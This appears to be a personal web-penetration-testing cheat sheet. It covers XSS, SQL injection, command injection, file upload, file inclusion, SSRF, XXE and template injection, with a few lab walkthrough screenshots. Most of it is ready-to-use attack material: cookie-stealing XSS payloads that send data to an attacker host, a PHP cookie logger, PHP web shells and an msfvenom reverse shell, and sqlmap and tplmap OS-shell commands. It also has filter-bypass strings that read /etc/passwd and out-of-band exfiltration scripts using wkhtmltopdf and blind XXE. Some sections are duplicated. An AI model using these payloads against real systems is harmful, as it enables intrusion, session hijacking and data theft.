</strong>'>&#x3C;script src=http://OUR_IP>&#x3C;/script>
">&#x3C;script src=http://OUR_IP>&#x3C;/script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
&#x3C;script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();&#x3C;/script>
&#x3C;script>$.getScript("http://OUR_IP")&#x3C;/script>
</code></pre>

## XSS to get Cookies

### Simple Payload to get Cookies&#x20;

Use the below payload and add your Server IP and you will get Cookies on your server

```python
document.location='http://OUR_IP/index.php?c='+document.cookie;

# this one is much preferred 
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

```

### &#x20;Get Cookies by Hosting JS file

you can also add the malicious code to get the cookie in a file and then you host that script on the python server and then you can call the script, which will hit the script on the python server and then you will get the cookie on the same python server as well.

```html
<-- make a file called script.js add the below payload and host on your server -->

new Image().src='http://OUR_IP/index.php?c='+document.cookie;


<-- now you can use -->

<script src=http://OUR_IP/script.js></script>

<-- again try different payloads here -->

'><script src=http://OUR_IP/script.js></script>
"><script src=http://OUR_IP/script.js></script>


```

## Get Cookies by Hosting PHP File on Server

Make a file called **Cookie.php** and host it on your server

```php
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);

header("Location: http://www.google.com/");
exit;
?>
```

Now i can use the following payload to execute XSS and get cookie

```javascript
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://<ServerIP>/Cookie.php?c=' + document.cookie;"></video>

```

### In Real World to get Cookies

&#x20;in the real world, try using something like [XSSHunter](https://xsshunter.com/), [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) or [Project Interactsh](https://app.interactsh.com/). A default PHP Server or Netcat may not send data in the correct form when the target web application utilizes HTTPS.

```javascript
<h1 onmouseover='document.write(`<img src="https://CUSTOMLINK?cookie=${btoa(document.cookie)}">`)'>test</h1>
```

### Using Netcat

```javascript
<h1 onmouseover='document.write(`<img src="https://<Netcat Server IP >?cookie=${btoa(document.cookie)}">`)'>test</h1>
```

<br>

## Defacing a Website

We can use the following javascript codes to deface a website and change it attributes

```javascript
//Changing Background Color
<script>document.body.style.background = "#141d2b"</script>


//Changing Background
<script>document.body.background = "https://programmersecurity.com"</script>

//Changing Page Title
<script>document.title = 'Programmerboy'</script>

//Changing Page Text
document.getElementById("todo").innerHTML = "Programmer Security is the Best"

```


# SQL Injection

## Sql Injection Basic Payloads

```
admin' or '1'='1
admin')-- -
'OR 1=1' OR 1
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
```

## Advanced Blind SQL Payloads (XOR)

```python
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'X
0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z
'XOR(if((select now()=sysdate()),sleep(10),0))XOR'Z
X'XOR(if(now()=sysdate(),//sleep(5)//,0))XOR'X
X'XOR(if(now()=sysdate(),(sleep((((5))))),0))XOR'X
X'XOR(if((select now()=sysdate()),BENCHMARK(1000000,md5('xyz')),0))XOR'X
'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z
(SELECT(0)FROM(SELECT(SLEEP(6)))a)
'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
(SELECT * FROM (SELECT(SLEEP(5)))a)
'%2b(select*from(select(sleep(5)))a)%2b'
CASE//WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END
');(SELECT 4564 FROM PG_SLEEP(5))--
["')//OR//MID(0x352e362e33332d6c6f67,1,1)//LIKE//5//%23"]
DBMS_PIPE.RECEIVE_MESSAGE(%5BINT%5D,5)%20AND%20%27bar%27=%27bar
AND 5851=DBMS_PIPE.RECEIVE_MESSAGE([INT],5) AND 'bar'='bar
1' AND (SELECT 6268 FROM (SELECT(SLEEP(5)))ghXo) AND 'IKlK'='IKlK
(select*from(select(sleep(20)))a)
'%2b(select*from(select(sleep(0)))a)%2b'
*'XOR(if(2=2,sleep(10),0))OR'
-1' or 1=IF(LENGTH(ASCII((SELECT USER())))>13, 1, 0)--//
'+(select*from(select(if(1=1,sleep(20),false)))a)+'"
2021 AND (SELECT 6868 FROM (SELECT(SLEEP(32)))IiOE)
BENCHMARK(10000000,MD5(CHAR(116)))
'%2bbenchmark(10000000%2csha1(1))%2b'
'%20and%20(select%20%20from%20(select(if(substring(user(),1,1)='p',sleep(5),1)))a)--%20 - true

# polyglots payloads:

if(now()=sysdate(),sleep(3),0)/'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"/
if(now()=sysdate(),sleep(10),0)/'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0) and 1=1)"/
```

## SQLMAP Advanced Usage

### CSRF-TOKEN Bypass with Sqlmap

If there is csrf-token validation and the request is being invalidated after sending to the server for the first time then we can use the following command, in the below command i have a token being sent in the post data so i will pass the token parameter to the sqlmap and the i will be able to get the sql injection otherwise my requests will be invalidated after the first request

```python
 sqlmap -u 'http://94.237.53.3:35310/case8.php' -X POST --batch --dbs --data-raw 'id=1&t0ken=nWGqK9hl2slyU5W0grB27Hi7c6RPFxULCyhr6wKfKP0' --csrf-token=t0ken

```

<figure><img src="/files/YQ2n0byRcxBKEEQVxyZ5" alt=""><figcaption></figcaption></figure>

and we got a successfull sql injection here.

<figure><img src="/files/VqUuG3bkw2L5tv6eJPBV" alt=""><figcaption></figcaption></figure>

## Randomize any Parameter using Sqlmap

If there is a case where we need to change a value after every request we can use the randomize flag for that&#x20;

```python
sqlmap -u 'http://94.237.62.149:49975/case9.php?id=1&uid=2' --randomize=uid --batch
```

Because if i will not randomize the uid parameter my request will fail

<figure><img src="/files/DwBflKRX8jQGJgo315AD" alt=""><figcaption></figcaption></figure>

## SQLMAP Tamper Scripts to Bypass Filters

If <> signs are blocked then you can use tamper scripts, we can use **--tamper=between** flag and it will not use < > signs any more

```python
sqlmap -u 'http://83.136.255.150:52936/case11.php?id=1*' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Cookie: cookie=HTB{r3fl3c73d_b4ck_2_m3}' -H 'Upgrade-Insecure-Requests: 1' --batch -D testdb -T flag11 --dump --tamper=between
```

<figure><img src="/files/45alwuF6DUNW6h3Alc8G" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/PA3YvOrjNUNZJS4DcIdX" alt=""><figcaption></figcaption></figure>

we can see some more tamper scripts as well by doing&#x20;

```python
sqlmap --list-tamper
```

<figure><img src="/files/a5QsQtNseJcM5yEKrKnO" alt=""><figcaption><p>We can see all tamper scripts which we can use</p></figcaption></figure>

## File Read using Sqlmap

we can use the **--file-read** flag

```python
 sqlmap -u 'http://94.237.54.170:52316/?id=1*' --batch --file-read /var/www/html/flag.txt
```

## OS-Shell using SqlMap

we can use **--os-shell** to get a reverse shell

```python
 sqlmap -u 'http://94.237.54.170:52316/?id=1*' --batch --os-shell
```


# Command Injection

## Basic Command Injection&#x20;

```python
;      # semi colon
\n     # New Line %0a
&      # background
|      # pipe
&&     # AND
||     # OR
``     # Sub Shell (backticks)
$()    # Sub-Shell
```

## Advanced Command Injection

### When Space,and paths(/etc/passwd, /, /home ) are not Allowed

```python
# %0a is new line
# ls will list the file
# ${IFS} when space is blacklisted
# ${PATH:0:1} it will grab / from path variables

ip=127.0.0.150%0als${IFS}${PATH:0:1} 

# Final Command Becomes

127.0.0.1
ls /

```

<figure><img src="/files/tYzinX1ufgD60BDpD7ZN" alt=""><figcaption></figcaption></figure>

## Bypassing Blacklists(whoami,pwd,ls,cat)

```python
who$@ami
w`h`o`a`mi  # should be even
```

## Automated Obfuscation Tool for Command Injection

### BashFuscator

{% embed url="<https://github.com/Bashfuscator/Bashfuscator>" %}

we can use this tool to obfuscate our command

```python
bashfuscator -c "cat /etc/passwd"
```

<figure><img src="/files/qOqETTuRLM9wsLctlKAL" alt=""><figcaption></figcaption></figure>

it will give very huge payload, to make it short we can use below command

```python
bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
```

<figure><img src="/files/mZI0wTzb3q46rGA97Qf9" alt=""><figcaption></figcaption></figure>


# File Upload Pentesting

## PHP Upload Payloads (one liners)

```php
<?php file_get_contents('/etc/passwd'); ?>	
<?php system('hostname'); ?>	
<?php system($_REQUEST['cmd']); ?>
<% eval request('cmd') %>
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php
```

## PHP Code (Much better Output of RCE)

Use this code in a file

```php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
```

## PHP File Extensions For Burp Intruder

```php
.jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
```

## Content Types For File Upload

```python
image/bmp
image/cgm
image/g3fax
image/gif
image/ief
image/jpeg
image/ktx
image/pjpeg
image/png
image/prs.btif
image/svg+xml
image/tiff
image/vnd.adobe.photoshop
image/vnd.dece.graphic
image/vnd.djvu
image/vnd.dvb.subtitle
image/vnd.dwg
image/vnd.dxf
image/vnd.fastbidsheet
image/vnd.fpx
image/vnd.fst
image/vnd.fujixerox.edmics-mmr
image/vnd.fujixerox.edmics-rlc
image/vnd.ms-modi
image/vnd.net-fpx
image/vnd.wap.wbmp
image/vnd.xiff
image/webp
image/x-citrix-jpeg
image/x-citrix-png
image/x-cmu-raster
image/x-cmx
image/x-freehand
image/x-icon
image/x-pcx
image/x-pict
image/x-png
image/x-portable-anymap
image/x-portable-bitmap
image/x-portable-graymap
image/x-portable-pixmap
image/x-rgb
image/x-xbitmap
image/x-xpixmap
image/x-xwindowdump
application/vnd.3lightssoftware.imagescal
application/vnd.fastcopy-disk-image
application/vnd.imagemeter.folder+zip
application/vnd.imagemeter.image+zip
application/vnd.msa-disk-image
application/vnd.oci.image.manifest.v1+json
image/aces
image/avci
image/avcs
image/dicom-rle
image/emf
image/example
image/fits
image/heic
image/heic-sequence
image/heif
image/heif-sequence
image/hej2k
image/hsj2
image/jls
image/jp2
image/jph
image/jphc
image/jpm
image/jpx
image/jxr
image/jxra
image/jxrs
image/jxs
image/jxsc
image/jxsi
image/jxss
image/ktx2
image/naplps
image/prs.pti
image/pwg-raster
image/t38
image/tiff-fx
image/vnd.airzip.accelerator.azv
image/vnd.cns.inf2
image/vnd.globalgraphics.pgb
image/vnd.microsoft.icon
image/vnd.mix
image/vnd.mozilla.apng
image/vnd.pco.b16
image/vnd.radiance
image/vnd.sealed.png
image/vnd.sealedmedia.softseal.gif
image/vnd.sealedmedia.softseal.jpg
image/vnd.svf
image/vnd.tencent.tap
image/vnd.valve.source.texture
image/vnd.zbrush.pcx
image/wmf

```

## LFI and File Upload to RCE&#x20;

### Crafting Malicious Image

we can create a malicious image and then try to get RCE

```python
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```

### ZIP Upload To RCE

We can utilize the [zip](https://www.php.net/manual/en/wrappers.compression.php) wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows:

```python
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

### PHAR Upload

we can use the `phar://` wrapper to achieve a similar result. To do so, we will first write the following PHP script into a `shell.php` file:

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
```

This script can be compiled into a `phar` file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with. We can compile it into a `phar` file and rename it to `shell.jpg` as follows:

```shell-session
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

Now, we should have a phar file called `shell.jpg`. Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with (`&cmd=id`)

## File Uplaod to XSS

### SVG File Upload to XSS

```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS by Programmerboy");
  </script>
</svg>
```

## SVG Upload to File Read

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>


using php filter

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

## SVG File Upload to RCE

apped Reverse shell php one liner at the end of the svg payload

```svg
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> <svg>&xxe;</svg> <?php system($_REQUEST['cmd']); ?>
```

<figure><img src="/files/tN9EqMFZCxdfQu1B79lM" alt=""><figcaption></figcaption></figure>

## Magic Bytes

Sometimes there is a strong filter on the file extension when we are uploading files , we can try to bypass that using magic bytes, which means that i will upload the file extension which is required by the server and then i will add the magic byte in the beginning and rest of the file will be my reverse shell and in that case i will get a reverse shell back.

<figure><img src="/files/mXMxo7Xfd7XHWYCUaydo" alt=""><figcaption><p>i am not allowed to upload any files except pdf files</p></figcaption></figure>

now i will add the pdf magic byte in the beginning and rest of it will be a reverse shell

<figure><img src="/files/qb8ekexcOtvOIiXzi8g3" alt=""><figcaption><p>sometimes 1.4 works for pdf files</p></figcaption></figure>

<figure><img src="/files/sPG55ODtY5DZYUZZDdEQ" alt=""><figcaption><p>sometimes 1.3 works for pdf files</p></figcaption></figure>

<figure><img src="/files/ITZdjNaGu875DeK0bXx2" alt=""><figcaption><p>Successfully file got uploaded containg aspx rev shell </p></figcaption></figure>

now find the file where is is uploading and try to get a reverse shell


# Local and Remote File Inclusion

## Basic Payloads&#x20;

```python
/etc/passwd
../../../../etc/passwd
/../../../etc/passwd	
./languages/../../../../etc/passwd
....//....//....//....//etc/passwd	
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]  
../../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config   
```

## PHP Wrappers to Read Source Code

```python
# make sure you are not adding php at the end

php://filter/read=convert.base64-encode/resource=config
```

## Data Wrapper to RCE

we can get LFI to RCE using DATA wrapper which can be used to include the external code, including PHP, but this will work only in 1 case that if **allow\_url\_include is enabled** for this we need to look at the php configuration file to see the allow\_url\_include is enabled or disabled

```python
php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini
```

With `allow_url_include` enabled, we can proceed with our `data` wrapper attack. As mentioned earlier, the `data` wrapper can be used to include external data, including PHP code. We can also pass it `base64` encoded strings with `text/plain;base64`, and it has the ability to decode them and execute the PHP code.

```python
echo '<?php system($_GET["cmd"]); ?>' | base64
```

<figure><img src="/files/u19X6u7pgaMZZenut7X0" alt=""><figcaption></figcaption></figure>

Now, we can **URL encode the base64 string**, and then pass it to the data wrapper

```python
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

# urlencode it
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
```

We have a successfull RCE.

<figure><img src="/files/rODuchSKnsiIMf2iTuYV" alt=""><figcaption></figcaption></figure>

## Remote File Inclusion (RFI)

In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the `allow_url_include` setting to be enabled. We can check whether this setting is enabled through LFI

However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to `try and include a URL`, and see if we can get its content.

```python
#host it on python server
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

<figure><img src="/files/l5phMc7v03McovSkcPe4" alt=""><figcaption></figcaption></figure>

## LFI and File Upload to RCE&#x20;

### Crafting Malicious Image

we can create a malicious image and then try to get RCE

```python
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```

### ZIP Upload To RCE

We can utilize the [zip](https://www.php.net/manual/en/wrappers.compression.php) wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named `shell.jpg`), as follows:

```python
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
```

### PHAR Upload

we can use the `phar://` wrapper to achieve a similar result. To do so, we will first write the following PHP script into a `shell.php` file:

```php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
```

This script can be compiled into a `phar` file that when called would write a web shell to a `shell.txt` sub-file, which we can interact with. We can compile it into a `phar` file and rename it to `shell.jpg` as follows:

```shell-session
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
```

Now, we should have a phar file called `shell.jpg`. Once we upload it to the web application, we can simply call it with `phar://` and provide its URL path, and then specify the phar sub-file with `/shell.txt` (URL encoded) to get the output of the command we specify with (`&cmd=id`)


# Broken Authentication

## Login Page Bypass using X-Forwarded-For

We can sometimes bypass Login Pages and Authentication Mechanisms using X-Forwarded-For Header

Below when i entered the credentials i got **Invalid Credentials** Error

<figure><img src="/files/qtqE7VN6gMdsgs56rHAA" alt=""><figcaption></figcaption></figure>

Now i will add the **X-Forwarded-For Header** and it will bypass it

<figure><img src="/files/QDXOZsJ5fOg0UqZLj7Mw" alt=""><figcaption></figcaption></figure>


# Server Side Request Forgery (SSRF)

## Basic SSRF payloads

```
file:///etc/passwd
http://127.0.0.1
http://127.0.0.1:5000
http://127.0.0.1:1
index.html
index.php
http::////127.0.0.1:1
```

## Blind SSRF

### HTML File Upload To SSRF

Make a html file with the following code

```html
<!DOCTYPE html>
<html>
<body>
	<a>Hello World!</a>
	<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>
```

upload this file and see if you get a hit on netcat listener

<figure><img src="/files/Ho06nu1JqJRD23VW7H2d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9WWUqywyNN2xzSDEBDqH" alt=""><figcaption></figcaption></figure>

I got a hit on my netcat listener

### Using Burp Collaborator

use the below code in html file

```html
<!DOCTYPE html>
<html>
<body>
	<a>Hello World!</a>
	<img src="http://oldac4hch7f4k2reoc7cyj3y7pdg17pw.oastify.com/x?=viaimgtag">
</body>
</html>
```

## wkhtmltopdf Blind SSRF Exploit

By inspecting the request, we notice `wkhtmltopdf` in the User-Agent. If we browse [wkhtmltopdf's downloads webpage](https://wkhtmltopdf.org/downloads.html), the below statement catches our attention:

Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details.

we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document.

```html
<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true); 
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>
```

In this case, we are using two [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) objects, one for reading the local file and another one to send it to our server. Also, we are using the `btoa` function to send the data encoded in Base64.

<figure><img src="/files/KdhYRGezob3e2uIXsr2T" alt=""><figcaption></figcaption></figure>


# XML External Entity (XXE)

XXE happens where we can inject our XML inputs and those inputs are not being sanitized by XML Parser

## Basic XXE Payloads

```python
#Simple File read
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

#php filters
<!DOCTYPE email [<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=connection.php">]>


```

## Basic XXE Testing&#x20;

In the below image i can see that my email is getting reflected back to me, so i will test for XXE in that parameter

<figure><img src="/files/DeHjcqVKtrESVKWfpTxt" alt=""><figcaption></figcaption></figure>

now i will test for Basic XXE

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>	
<root>
<name>test</name>
<tel>1122112211</tel>
<email>&test;</email>
<message>sadadasdasdasd</message>
</root>
```

<figure><img src="/files/ZidseW3oOFsRFWOAnApN" alt=""><figcaption></figcaption></figure>

## XXE PHP Filters to Read Source Code

We can now try to read the source code using php filters, i will try to read **connection.php** file

```
<!DOCTYPE email [<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=connection.php">]>
```

<figure><img src="/files/TCmZK1ATLRkY3Yc8eakg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/vwqbU96UhTLr1Msgcoir" alt=""><figcaption></figcaption></figure>

## Advanced File Disclosure (XXE CDATA)

if the web app is not build in php then php filters cannot help us, for this we can use CDATA and read any sort of file including binary data as well.

<figure><img src="/files/p9R6SH7mML1cD1wHVJtU" alt=""><figcaption></figcaption></figure>

**This will not work,** because we cannot join internal and external entities in XML like this, so we need to find out another way

so i will host an DTD on my Python server

<figure><img src="/files/0whQKB0RsUAQJdbZ58kk" alt=""><figcaption></figcaption></figure>

now this will get the DTD from my python server.

```xml
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///flag.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://10.10.15.163/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
```

<figure><img src="/files/jgwaig4nwaFVzYHCAPQi" alt=""><figcaption></figcaption></figure>

now I can read the files as well.

## Blind XXE (Out of Band Data Exfiltration)

Sometimes you don't get a response from the website so you need to redirect the response to your own python server

```python
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>
```

We need to host the xxe.dtd on our python server&#x20;

<figure><img src="/files/664zcVBBy8tLfaui3DST" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dpFAgLbwlW67E0WRzAaL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oz4wJwxlEQeurVHBmVWQ" alt=""><figcaption></figcaption></figure>


# Server Side Template Injection (SSTI)

## SSTI Identification

```
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
```

## TWIG SSTI

Twig has a variable `_self`, which, in simple terms, makes a few of the internal APIs public. This `_self` object has been documented, so we don't need to brute force any variable names,&#x20;

we can use the `getFilter` function as it allows execution of a user-defined function via the following process:

* Register a function as a filter callback via `registerUndefinedFilterCallback`
* Invoke `_self.env.getFilter()` to execute the function we have just registered

```php
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
```

<figure><img src="/files/9SBQovq1C5TRSwEfuNFU" alt=""><figcaption></figcaption></figure>

to get the environment variables we can use

```shell
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("echo -e `cat /proc/self/environ`")}}
```

## Automating SSTI using tqlmap

we can use **TQLMAP** from the below link

{% embed url="<https://github.com/epinna/tplmap>" %}

```python
python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080
```

<figure><img src="/files/OEc8zTdl7ALCAH0YExXk" alt=""><figcaption></figcaption></figure>

## OS-Shell Using TPLMAP

```python
python tplmap.py -u 'http://83.136.251.226:56235/jointheteam' -d email=test --proxy=http://127.0.0.1:8080 --os-shell
```

<figure><img src="/files/7diOCqcVwmqkgvC5ArCh" alt=""><figcaption></figcaption></figure>


# ReconFTW (six2dez)

ReconFTW is the complete automation process for the bug bounty.It can find you subdomains,fuzzing,nuclei scanning and using more than 20 tools to find vulnerabilites.

## Enumerating Subdomains using ReconFTW

```javascript
./reconftw.sh -s <domain> -o <path to the folder>
```

## Full Recon using ReconFTW

i will run this in **screen** so that i switch off my VPS or something bad happens, my scan is still running in the background always.&#x20;

```javascript
./reconftw.sh -d domain.com -r --deep -o /root/Bug-Bounty/Domain.com
```

<figure><img src="/files/0yb7PtnnXsnK89AeJzza" alt=""><figcaption></figcaption></figure>

## Full Aggressive Recon and All Active Attacks

```javascript
./reconftw.sh -d www.domain.com -a --deep -o /root/Bug-Bounty/domain/
```

<figure><img src="/files/oqGUVxpl59vATzSUsJAK" alt=""><figcaption></figcaption></figure>


# JS Files

## Regex for BurpSuite to Find Api keys and other Leaks

This is from the Twitter Post&#x20;

{% embed url="<https://twitter.com/i/bookmarks?post_id=1522146535441633280>" %}

<figure><img src="/files/K7hE3775EOFMu6A2lIDa" alt=""><figcaption></figcaption></figure>

```javascript
(?i)((access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key|amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret|api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret|application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket|aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password|bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver|cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret|client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password|cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|config|conn.login|connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test|datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password|digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd|docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid|dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .\-,]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z\-_=]{8,64})['\"]

```


# SignUp Page

## SignUp With Comapny Domain

When ever you are trying to signup or register, always try to signup with the company registered domain

```javascript
Company name ---> programmersecurity.com

programmerboy@programmersecurity.com // this can be blocked 

// so try this

PROGRAMMERBOY@PROGRAMMERSECURIYT.COM // this can work sometimes


```


# WEB

## SQL Injection

### H2 Database Exploit ALIAS Sql Injection (Java)

The H2 engine uses several defined functions and commands to interact with the database. The noteworthy ones are :

* **FILE\_READ:** Returns the contents of a file. ***(function)***
* **FILE\_WRITE:** Write the supplied parameter into a file.***(function)***
* **CSVWRITE:** Writes a CSV (comma separated values). ***(function)***
* **CREATE ALIAS:** Creates a new function alias. ***(command).***

We can Create an Alias and then we Can Run our SQL Queries to exploit this Case Scenario

